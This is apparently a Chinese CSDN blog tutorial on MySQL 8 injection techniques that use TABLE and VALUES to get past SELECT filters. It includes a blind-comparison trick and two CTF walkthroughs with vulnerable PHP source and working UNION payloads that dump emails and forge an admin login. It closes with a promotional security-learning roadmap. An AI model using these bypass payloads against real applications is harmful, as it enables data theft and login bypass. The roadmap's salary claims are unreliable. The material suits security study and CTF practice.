前言
今天给大家带来的是MYSQL8版本的特性注入,说起SQL注入大家一定不陌生,可是你有没有想过,当SQL注入中最关键的函数SELECT被过滤后,我们要如何去执行SQL语句呢,这就是本文要讲的内容,即利用MYSQL8版本的特性来进行关键字的绕过注入。
基础知识
因为MYSQL8配置并不是本文的重点,大家可以参考下面的链接来自己进行配置:
table
官方文档:
table函数为MYSQL8版本中新增的函数,其作用与select函数类似,作用是列出表中的全部信息,规范语法如下:
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
假如我们使用table函数查询users表下面的内容,可用以下语句:
table users;
![](https://i-blog.csdnimg.cn/blog_migrate/62aca0dc84e52d10af9e44e5cb9f914d.png)
我们可以看到table函数可以等价于下面的常规查询语句:
select * from users;
上面这两条语句查询出的结果是一致的,同时table是支持UNION联合查询,ORDER BY等限制条件,但它与SELECT的区别可以总结为下面两个要点:
1.我们使用table语句进行查询时,显示的始终是表的所有列。
2.我们不可以用where字句来限定某个特定的行。
values
官方文档:
MYSQL8中另一个新增的函数,用法可以概括为函数后跟一个或多个行构造函数的列表,可以构造一个表,规范语法如下:
VALUES row_constructor_list [ORDER BY column_designator] [LIMIT number]
row_constructor_list:ROW(value_list)[, ROW(value_list)][, ...]
value_list:value[, value][, ...]
column_designator:column_index
比如我们要用values函数构造一个表,可以参考下面图片理解:
![](https://i-blog.csdnimg.cn/blog_migrate/249e8532a4826b6e29bb62ce962f84e6.png)
需要我们注意的是,values函数可以配合联合查询来达到SQL注入的效果,例如:
select * from user union VALUES ROW(2,3)
比较特性
了解了上面两个函数之后,下面来说一下MYSQL中的比较特性,该特性是我们在进行MYSQL8特性盲注中必须要理解的点,我们通过下面语句去查询表(利用TABLESPACES_EXTENSIONS):
table information_schema.TABLESPACES_EXTENSIONS limit 6,1;
查询到了以下的内容:
![](https://i-blog.csdnimg.cn/blog_migrate/00e66f650980dda8fdcf288a5bba5f49.png)
假设我们用小于号去进行比较:
select (('u','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,1));
返回了数据为1,之后我们再用u的后面一位进行比较:
select (('v','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,1));
返回了数据为0,这时我们会思考为什么字母为u时返回了数据1,毕竟比较后为等于,这里利用了特性,因为我们字符u比较后为小于等于,所以我们需要将比较后结果字符的ASCII码减1才是真正的结果,所以我们在进行注入时得出的结果要将其ASCII码减1后转换。我们再看下面的例子:
select (('数据','','')<(table users.users limit 0,1));
我们通过上面的语句去进行字段数据的爆破,参考下面的图:
![](https://i-blog.csdnimg.cn/blog_migrate/d503f6294815a974d1cc8d97a73a1979.png)
我们在整型的地方输入了字符型的数据,比较时字符型会被强制转换成了整形,可以看到爆出了第一位数据为1,但需要注意当我们用下面查询语句进行注入:
select (('1xino','','')<(table users.users limit 0,1));
返回的数据还是1,这就很奇怪了,说以我们要注意因为字符型与整型比较会存在强制转换,所以比较会一直持续下去,我们写脚本的时候需要注意这个问题。
MYSQL8特性注入实例
实例一
我们进入实例环境给了我们如下的提示:
![](https://i-blog.csdnimg.cn/blog_migrate/f320732e0247e2fe5d25771998462db0.png)
需要我们注入出email的数据,提示我们传入id参数,尝试后发现select被过滤了,于是我们考虑可不可以进行mysql8特性注入:
?id=8 union table emails limit 8,1 --+
成功回显给了我们email的数据:
![](https://i-blog.csdnimg.cn/blog_migrate/307aee84168845d51b697fb460d964b8.png)
访问后得到一个压缩包,我们打开后发现源码:
<?php
include "./config.php";
// error_reporting(0);
// highlight_file(__FILE__);
$conn = mysqli_connect($hostname, $username, $password, $database); if ($conn->connect_errno) {die("Connection failed: " . $conn->connect_errno);
}
echo "Where is the database?"."<br>";
echo "try ?id";
function sqlWaf($s)
{$filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|^|||\ |'/i';if (preg_match($filter,$s))return False;return True;
}
if (isset($_GET['id']))
{$id = $_GET['id'];$sql = "select * from users where id=$id";$safe = preg_match('/select/is', $id);if($safe!==0)die("No select!");$result = mysqli_query($conn, $sql);if ($result) {$row = mysqli_fetch_array($result);echo "<h3>" . $row['username'] . "</h3><br>";echo "<h3>" . $row['passwd'] . "</h3>";}elsedie('<br>Error!');
}
if (isset($_POST['username']) && isset($_POST['passwd']))
{$username = strval($_POST['username']);$passwd = strval($_POST['passwd']);if ( !sqlWaf($passwd) )die('damn hacker');$sql = "SELECT * FROM users WHERE username='${username}' AND passwd= '${passwd}'";$result = $conn->query($sql);if ($result->num_rows > 0) {$row = $result->fetch_assoc();if ( $row['username'] === 'admin' && $row['passwd'] ){if ($row['passwd'] == $passwd){die($flag);} else {die("username or passwd wrong, are you admin?");}} else {die("wrong user");}} else {die("user not exist or wrong passwd");}
}
mysqli_close($conn);
?>
简单分析一下,需要我们满足以下条件:
$row['username'] === 'admin'
row['passwd'] == $passwd
同时需要我们查询语句结果大于一行而且users表中要有admin用户,需要我们创建一个虚拟表,讲到这里是不是很眼熟,我们想到可以利用values函数:
GET:?id=-1%20union%20table%20emails%20limit%207,1
POST:username=-1' union values row("1","admin","1")%23&passwd=1
实例二
进入实例后是一个登录框:
![](https://i-blog.csdnimg.cn/blog_migrate/22b18cbf3d59f0f12f5e6cba1de06f16.png)
给了我们提示源码,因为代码太长所以这里就展示比较重要的地方:
if (isset($_POST['username']) && isset($_POST['password'])) {if (!isset($_SESSION['VerifyCode']))die("?");$username = strval($_POST['username']);$password = strval($_POST['password']);if ( !sqlWaf($password) )alertMes('damn hacker' ,"./index.php");$sql = "SELECT * FROM users WHERE username='${username}' AND password= '${password}'";if ( $row['username'] === 'admin' && $row['password'] ){if ($row['password'] == $password){$message = $FLAG;} else {$message = "username or password wrong, are you admin?";}
可以看到让我们POST传入两个参数,username和password,同时存在下面的WAF不允许我们使用select进行查询,一旦使用WAF禁止的函数就会返回主页面,WAF内容如下:
function sqlWaf($s)
{$filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|^|||\ |'/i';if (preg_match($filter,$s))return False;return True;
}
而username与password的条件与例题一类似,也是让我们插入admin用户,于是我们使用mysql8特性函数:
username=-1' union values row("xino","admin","xino")%23&passwd=xino
结语
给大家分享了关于MYSQL8特性注入的知识不知道大家学会了没有,总结来说MYSQL8特性注入还是围绕了MYSQL8中新增的两个函数来展开的,有兴趣的小伙伴可以自己搭建环境去手动试一试,总的来说还是非常有趣的,喜欢本文的朋友希望能一键三连支持一下。
网络安全基础入门需要学习哪些知识?
网络安全学习路线
这是一份网络安全从零基础到进阶的学习路线大纲全览,小伙伴们记得点个收藏!
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7K4f4FEl-1676737192343)(data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)]编辑
阶段一:基础入门
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DekUCJN8-1676737192344)(data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)]
网络安全导论
渗透测试基础
网络基础
操作系统基础
Web安全基础
数据库基础
编程基础
CTF基础
该阶段学完即可年薪15w+
阶段二:技术进阶(到了这一步你才算入门)
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jfzaE0v9-1676737192345)(data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)]
弱口令与口令爆破
XSS漏洞
CSRF漏洞
SSRF漏洞
XXE漏洞
SQL注入
任意文件操作漏洞
业务逻辑漏洞
该阶段学完年薪25w+
阶段三:高阶提升
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-r1XsE4vZ-1676737192346)(data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)]
反序列化漏洞
RCE
综合靶场实操项目
内网渗透
流量分析
日志分析
恶意代码分析
应急响应
实战训练
该阶段学完即可年薪30w+
阶段四:蓝队课程
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-70o8nlTE-1676737192346)(data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)]
蓝队基础
蓝队进阶
该部分主攻蓝队的防御,即更容易被大家理解的网络安全工程师。
攻防兼备,年薪收入可以达到40w+
阶段五:面试指南&阶段六:升级内容
需要上述路线图对应的网络安全配套视频、源码以及更多网络安全相关书籍&面试题等内容